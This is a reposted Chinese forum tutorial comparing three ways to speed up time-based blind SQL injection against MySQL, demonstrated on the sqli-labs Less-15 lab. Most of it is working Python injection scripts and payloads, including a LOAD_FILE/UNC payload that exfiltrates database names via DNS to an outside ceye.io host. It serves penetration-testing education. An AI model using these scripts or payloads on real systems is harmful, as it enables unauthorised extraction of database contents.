搜索
查看: 1207|回复: 0

时间延迟盲注的三种加速注入方式[mysql篇]

[复制链接]

1839

主题

2255

帖子

1万

积分

管理员

Rank: 9Rank: 9Rank: 9

积分
11913
发表于 2018-5-2 20:43:53 | 显示全部楼层 |阅读模式
原文链接:http://www.ch1st.cn/?p=44

引言
在日常渗透中,我们会遇到时间延迟盲注的场景,那么如何提高注入的速度,快速的达到注入的效果就是我们白帽子要关注的问题了。于此,笔者收集了网上三种加快时间延迟注入的方法供大伙审阅
本文提到的场景是基于手写exp注入的方式,并未用到sqlmap这类自动化注入的工具。因为,先前碰过注入payload需要自定义的情况,又因本身对sqlmap自动注入化工具的操作也不熟悉。
所以还是走上了手写exp的道路,基于sqli-lab的Less-15作为一个测试,并且以读出数据库的名称作为结果,比较三种方式的时间长度来达到最优的选择。
日常注入手法
判断注入:
时间盲注测试
一般碰到这种情况,盲注我就直接写payload,下面贴上来
菜鸡payload展示
  1. #coding=utf-8

  2. import requests
  3. import time

  4. database_name=""
  5. url="http://localhost/Less-15/"
  6. headers={
  7.         'User-Agent': 'Mozilla/5.0 (X11; Linux x86_64; rv:58.0) Gecko/20100101 Firefox/58.0',
  8.         'Host': 'localhost'
  9.         }
  10. currentTime=time.time()
  11. for i in range(1,9):
  12.         for j in range(65,123):
  13.                 payload="and if(left(database(),%d)='%s',sleep(5),null)#"%(i,database_name+chr(j))
  14.                 data={
  15.                 "uname":"admin\'"+payload,
  16.                 "passwd":"admin",
  17.                 }
  18.                 starttime=time.time()
  19.                 name=requests.post(url,data=data,headers=headers)
  20.                 if time.time()-starttime>=5:
  21.                         database_name+=chr(j)
  22.                         break
  23. finishTime=time.time()
  24. print("[+]一共使用了"+str(finishTime-currentTime)+"s")
  25. print("[+]数据库名字:"+database_name)
复制代码
用了40s
然后尝试运用网上收集的方法
Dnslog快速查询
dnslog注入的话,是存在一定的局限性的。
Tips-1:
首先需要执行mysql的load_file函数,但是load_file只能在位于Windows上的MySQL上运行。
这牵扯到Windows上UNC路径的问题,百度上的解释如下
这也就解释了为什么我们执行的sql语句中
  1. SELECT LOAD_FILE(CONCAT('\\\\',(SELECT hex(user())),'.6u1akf.ceye.io\\abc'));
复制代码
为什么要concat('\\\\')来执行load_file语句了,\\\\会被转义成\\,于此就符合了UNC规范了.而在Linux中并没有遵守UNC这个规范,所以load_file只能适应在Windows上使用了.
Tips-2:
MySQL数据库配置中要设置secure_file_priv为空,才能完整的去请求DNS.
  1. secure-file-priv参数是用来限制LOAD DATA, SELECT ... OUTFILE, and LOAD_FILE()传到哪个指定目录的。

  2. ure_file_priv的值为null ,表示限制mysqld 不允许导入|导出
  3. 当secure_file_priv的值为/tmp/ ,表示限制mysqld 的导入|导出只能发生在/tmp/目录下
  4. 当secure_file_priv的值没有具体值时,表示不对mysqld 的导入|导出做限制
复制代码
dnslog注入开始
因为笔者切换了操作系统,所以再次测试先前的payload所有的时间,以对dnslog作比较
这里使用了164s,
然后我们执行dnslog获取数据库名字
pyload如下:
  1. 'and if((SELECT LOAD_FILE(CONCAT('\\\\',(SELECT hex(database())),'.xxx.ceye.io\\abc'))),sleep(5),1)%23
复制代码
然后再去请求
数据库中用了23秒.但是在DNS那块是1秒就收到了数据.
将其16进制转换为字符串,得到security
小结
使用dnslog进行盲注,速度是很快的,但是也有局限性.
1.网站必须运行在Windows平台上
2.MySQL中的secure_file_priv必须为空
3.域名前缀长度限制在63个字符,解决办法是用mid()函数来获取。
4.域名前缀不支持一些特殊字符,如*,解决办法是用hex()或者其他加密函数,获取到数据后再解密。
5.sqlmap也提供了这种注入方法,参数:–dns-domain

二分法查找
这块牵扯到脚本的编写问题,就是这类的折半查找。
利用ascii码作为条件来查询,ascii码中的字母范围在65~122之间,以这个范围数的中间数为条件,判断payload中的传入的ASCII码是否大于这个中间数,如果大于,就往中间数~122这块查找。反之亦然~
这里笔者采用了通过ASCII码判断数据库名字,所以时间会比上个例子中提到的poc要长.这里给贴出不使用二分法的脚本与之使用了二分法的脚本对比.
未使用二分法的payload:
  1. #coding=utf-8

  2. import requests
  3. import time

  4. database_name=""
  5. url="http://localhost/sqli/Less-15/"
  6. headers={
  7.         'User-Agent': 'Mozilla/5.0 (X11; Linux x86_64; rv:58.0) Gecko/20100101 Firefox/58.0',
  8.         'Host': 'localhost'
  9.         }
  10. currentTime=time.time()
  11. for i in range(1,9):
  12.         for j in range(65,123):
  13.                 payload='and if(ascii(substr(database(),%d,1))=%d,sleep(5),1)#' % (i,j)
  14.                 data={
  15.                                 "uname":"admin\'"+payload,
  16.                                 "passwd":"admin",
  17.                         }
  18.                 print data
  19.                 starttime=time.time()
  20.                 name=requests.post(url,data=data,headers=headers)
  21.                 if time.time()-starttime>=5:
  22.                         database_name+=chr(j)
  23.                         break
  24. try:
  25.         finishTime=time.time()
  26.         print("[+]一共使用了"+str(finishTime-currentTime)+"s")
  27.         print("[+]数据库名字:"+database_name)
  28. except Exception as e:
  29.         print ""
复制代码
通过上述可知用原payload用了426.5秒.
下面贴出自己写的payload(编程水平差,各位看官见谅)
  1. # coding=utf-8
  2. # author ch1st 2018.5.1
  3. import requests
  4. import time

  5. m2=0
  6. o=0
  7. count=0
  8. status=0
  9. database_name=""
  10. s=False
  11. currentTime=time.time()
  12. url="http://localhost/sqli/Less-15/"
  13. headers={
  14.         'User-Agent': 'Mozilla/5.0 (X11; Linux x86_64; rv:58.0) Gecko/20100101 Firefox/58.0',
  15.         'Host': 'localhost'
  16.         }
  17. midValue=(65+123)/2


  18. def check(length,m):
  19.         global o
  20.         global count
  21.         global s

  22.         mid=0
  23.         payload='and if(ascii(substr(database(),%d,1))>%d,sleep(2),1)#' % (length,m)
  24.         data={
  25.                         "uname":"admin\'"+payload,
  26.                         "passwd":"admin",
  27.                 }
  28.         count+=1
  29.         get(length,m)
  30.         get2(length,m)
  31.         if(status==1):
  32.                 return True
  33.        
  34.         starttime=time.time()
  35.         name=requests.post(url,data=data,headers=headers)
  36.        
  37.         if time.time()-starttime>=2:
  38.                 mid=(m+123)/2
  39.                 check(length,mid)
  40.                 s=True
  41.         else:
  42.                 mid=(m+65)/2
  43.                 check(length,mid)
  44.                 s=False
  45. def get(length,m):
  46.         global database_name
  47.         global status
  48.         global m2

  49.         status=0
  50.         payload='and if(ascii(substr(database(),%d,1))=%d,sleep(5),1)#' % (length,m)
  51.         data={
  52.                         "uname":"admin\'"+payload,
  53.                         "passwd":"admin",
  54.                 }
  55.         starttime=time.time()
  56.         print data
  57.         name=requests.post(url,data=data,headers=headers)
  58.         if time.time()-starttime>=5:
  59.                 database_name+=chr(m)
  60.                 status=1
  61. def get2(length,m):
  62.         global status
  63.         global s
  64.         global count
  65.         if(count>2):
  66.                 if s==True:
  67.                         if(m>80):
  68.                                 for length_n in range(m,122):
  69.                                         if(status==1):
  70.                                                 count=0
  71.                                                 break
  72.                                         get(length,length_n)
  73.                         else:
  74.                                 for length_n in range(65,m+1):
  75.                                         if(status==1):
  76.                                                 count=0
  77.                                                 break
  78.                                         get(length,length_n)

  79. for length in range(1,9):
  80.         check(length,midValue)
  81.         o=0
  82.         count=0
  83. try:
  84.         finishTime=time.time()
  85.         print("[+]一共使用了"+str(finishTime-currentTime)+"s")
  86.         print("[+]数据库名字:"+database_name)
  87. except Exception as e:
  88.         print ""
复制代码
从这里我们可以看出,使用了二分法查找节约了大约一半时间.206.6s
当然啦,应该还能更少时间的。那就要各位看官自己去优化脚本语句了~~
二进制延迟注入
这里笔者主要是观看了张炳帅[如果M微笑,xsser]大佬在Freebuf所开的公开课了解到的一种加快注入速度的方式,主要是通过MySQL语句的优化从而达到提高盲注速度的效果.
主要是说将ascii码转换为二进制,然后判断首位是0还是1,从而来更快的判断出数据库名字.这里贴上课程中的一个关键语句截图.
这里附上Lcy大牛的payload.
  1. #!/usr/bin/env python
  2. # -*- coding: utf-8 -*-
  3. # @Author: Lcy
  4. # @Date:   2015-08-29 22:26:17
  5. # @Last Modified by:   Sunshie
  6. # @Last Modified time: 2015-08-30 01:48:41
  7. # blog:https://phpinfo.me
  8. # 延迟注入工具
  9. import urllib2
  10. import time
  11. import socket
  12. import threading
  13. import requests

  14. class my_threading(threading.Thread):
  15.                 def __init__(self, str,x):
  16.                                 threading.Thread.__init__(self)
  17.                                 self.str = str
  18.                                 self.x = x
  19.                 def run(self):
  20.                         global res
  21.                         x=self.x
  22.                         j = self.str
  23.                         url = "http://localhost/demo/1.php?username=root'+and+if%281=%28mid%28lpad%28bin%28ord%28mid%28%28select%20user()%29," + str(x) + ",1%29%29%29,8,0%29,"+ str(j) + ",1%29%29,sleep%282%29,0%29%23"
  24.                         html = request(url)
  25.                         verify = 'timeout'
  26.                         if verify not in html:
  27.                                 res[str(j)] = 0
  28.                                 #print 1
  29.                         else:
  30.                                 res[str(j)] = 1
  31.        

  32. def request(URL):
  33.         user_agent = { 'User-Agent' : 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_7_3) AppleWebKit/534.55.3 (KHTML, like Gecko) Version/5.1.3 Safari/534.53.10' }
  34.         req = urllib2.Request(URL, None, user_agent)  
  35.         try:
  36.                 request = urllib2.urlopen(req,timeout=2)
  37.         except Exception ,e:
  38.                 time.sleep(2)
  39.                 return 'timeout'
  40.         return request.read()        

  41. def curl(url):
  42.         try:
  43.                         start = time.clock()
  44.                         requests.get(url)
  45.                         end = time.clock()
  46.                         return int(end)
  47.         except requests.RequestException as e:
  48.                         print u"访问出错!"
  49.                         exit()
  50. def getLength():
  51.         i = 0
  52.         while True:
  53.                 print "[+] Checking: %s \r" %i
  54.                 url = "http://localhost/demo/1.php?username=root'+and+sleep(if(length((select%20user()))="+ str(i) +",1,0))%23"
  55.                 html = request(url)
  56.                 verify = 'timeout'
  57.                 if verify in html:
  58.                         print u"[+] 数据长度为: %s" %i
  59.                         return i
  60.                
  61.                 i = i + 1
  62. def bin2dec(string_num):
  63.         return int(string_num, 2)

  64. def getData(dataLength):
  65.         global res
  66.         data = ""
  67.         for x in range(dataLength):
  68.                 x = x + 1
  69.                 #print x
  70.                 threads = []
  71.                 for j in range(8):
  72.                         result = ""
  73.                         j = j + 1
  74.                         sb = my_threading(j,x)
  75.                         sb.setDaemon(True)
  76.                         threads.append(sb)
  77.                         #print j
  78.                 for t in threads:
  79.                                 t.start()
  80.                 for t in threads:
  81.                                 t.join()
  82.                 #print res
  83.                 tmp = ""
  84.                 for i in range(8):
  85.                         tmp = tmp + str(res[str(i+1)])
  86.                 #print chr(bin2dec(tmp))
  87.                 res = {}
  88.                 result = chr(bin2dec(tmp))
  89.                 print result
  90.                 data = data + result
  91.                 sb = None
  92.         print "[+] ok!"
  93.         print "[+] result:" + data


  94. if __name__ == '__main__':
  95.         stop = False
  96.         res = {}
  97.         length = getLength()
  98.         getData(length)
复制代码
pyload原地址:

总结
搞安全最重要的还是兴趣,坚持.~  这条路上最快乐的事情莫过于去认识一群志合道同的路友们~

本帖子中包含更多资源

您需要 登录 才可以下载或查看,没有帐号?Join BUC

x
过段时间可能会取消签到功能了
您需要登录后才可以回帖 登录 | Join BUC

本版积分规则

Powered by Discuz!

© 2012-2015 Baiker Union of China.

快速回复 返回顶部 返回列表